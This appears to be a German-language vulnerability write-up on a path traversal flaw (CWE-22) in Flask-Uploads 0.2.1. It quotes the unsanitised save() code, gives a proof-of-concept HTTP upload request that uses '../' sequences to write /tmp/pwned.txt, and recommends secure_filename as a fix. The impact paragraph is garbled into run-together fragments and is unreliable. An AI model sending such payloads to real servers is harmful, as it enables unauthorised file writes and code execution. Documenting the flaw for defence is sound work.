
Demonstration von CWE-22 Path Traversal in Flask-Uploads 0.2.1. Nur für Bildungs- und Sicherheitsforschungszwecke. Getestet mit Python 3.11.
Eine kritische Pfad-Traversal-Schwachstelle besteht in Flask-Uploads Version 0.2.1. Die Bibliothek bereinigt die Dateinamen hochgeladener Dateien nicht ordnungsgemäß, bevor sie im Dateisystem gespeichert werden.
Insbesondere verkettet die Methode save() in flask_uploads.py das Upload-Zielverzeichnis direkt mit dem vom Benutzer bereitgestellten Dateinamen mittels os.path.join(). Dies ermöglicht es einem Angreifer, Directory-Traversal-Sequenzen (z. B. ../../) in den Dateinamen aufzunehmen, um Dateien an beliebigen Stellen im Dateisystem des Servers zu schreiben.
Datei: flask_uploads.py (Zeile 132 in v0.2.1)
def save(self, storage, filename=None):
if filename is None:
filename = storage.filename
# VULNERABLE CODE: No sanitization of 'filename'
target = os.path.join(self.destination, filename)
storage.save(target)
return filename
Die Anwendung verlässt sich darauf, dass der Entwickler den Dateinamen bereinigt, aber die Dokumentation der Bibliothek vermittelt den Eindruck, dass sie Datei-Uploads sicher verarbeitet. Standardmäßig führt es zu einer Schwachstelle, wenn ein Entwickler einen rohen Dateinamen aus einer Anfrage übergibt.
ssh_host_key, Konfigurationsdateien) überschreiben..php, .py) in ein Verzeichnis, das vom Webserver ausgeführt wird (wie cgi-bin oder einen bekannten statischen Ordner), kann ein Angreifer beliebige Befehle auf dem Server ausführen.Ein Angreifer kann diese Schwachstelle ausnutzen, indem er eine POST-Anfrage mit einem manipulierten Dateinamen sendet:
POST /upload HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
------WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="../../../../../tmp/pwned.txt"
Content-Type: text/plain
HACKED
------WebKitFormBoundary--
Wenn der Server Flask-Uploads verwendet, um diese Datei zu speichern, wird sie in /tmp/pwned.txt geschrieben, anstatt in das vorgesehene Upload-Verzeichnis.
Die Bibliothek sollte überprüfen, dass der zusammengesetzte Pfad innerhalb des vorgesehenen Verzeichnisses liegt, mithilfe von os.path.abspath und startswith, oder immer eine Bereinigungsfunktion wie werkzeug.utils.secure_filename verwenden.
Empfohlener Fix:
from werkzeug.utils import secure_filename
# ...
filename = secure_filename(filename)
target = os.path.join(self.destination, filename)